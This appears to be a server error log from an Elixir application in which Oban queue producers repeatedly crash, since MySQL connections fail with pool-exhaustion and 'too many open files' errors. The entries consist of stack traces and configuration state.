State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:43:27.240119Z], limit: 50, uuid: "66a5199a-c987-4c34-bbdf-088343cde4ab", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:43:27.240125Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.74175>, refresh_timer: #Reference<0.2525715032.1068498948.74174>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:43:39.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1039ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:43:27.239345Z], limit: 10, uuid: "3d337a6b-9f4a-4101-8147-08afc01f47f0", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:43:27.239350Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.67238>, refresh_timer: #Reference<0.2525715032.1099431938.67209>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:43:39.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1089ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:43:27.238941Z], limit: 5, uuid: "50f0ecb7-98d5-4aaf-bf09-c73670239a8c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:43:27.238946Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.50722>, refresh_timer: #Reference<0.2525715032.1099431938.67194>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:43:39.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1053ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:43:27.238960Z], limit: 20, uuid: "1be67335-a60a-48ad-bcf4-1de57dcb3079", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:43:27.238966Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.50720>, refresh_timer: #Reference<0.2525715032.1077673987.50717>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:43:39.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 893ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:43:27.240715Z], limit: 5, uuid: "7a2e4790-eed1-459c-bd8a-05e56c3fd61d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:43:27.240720Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.50721>, refresh_timer: #Reference<0.2525715032.1099431938.67231>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:43:40.686000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:43:42.770000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:43:47.008000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:43:51.223000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:43:51.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1026ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:43:39.239470Z], limit: 5, uuid: "00f2ce7d-e659-4a8a-b2cf-c0ca649638b0", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:43:39.239475Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.217852>, refresh_timer: #Reference<0.2525715032.1121189889.217831>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:43:51.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 850ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:43:39.240605Z], limit: 20, uuid: "e58b5abd-a323-458e-b9db-58867fc195c6", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:43:39.240610Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.217851>, refresh_timer: #Reference<0.2525715032.1121189889.217841>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:43:51.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1069ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:43:39.241328Z], limit: 5, uuid: "0c7e6d65-1ea4-4620-933d-0d1700895c30", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:43:39.241333Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.74298>, refresh_timer: #Reference<0.2525715032.1068498948.74297>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:43:51.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1022ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:43:39.238180Z], limit: 50, uuid: "758823f2-0455-4a35-9abc-82888b8f8a6a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:43:39.238185Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.217854>, refresh_timer: #Reference<0.2525715032.1077673987.50860>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:43:51.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 843ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
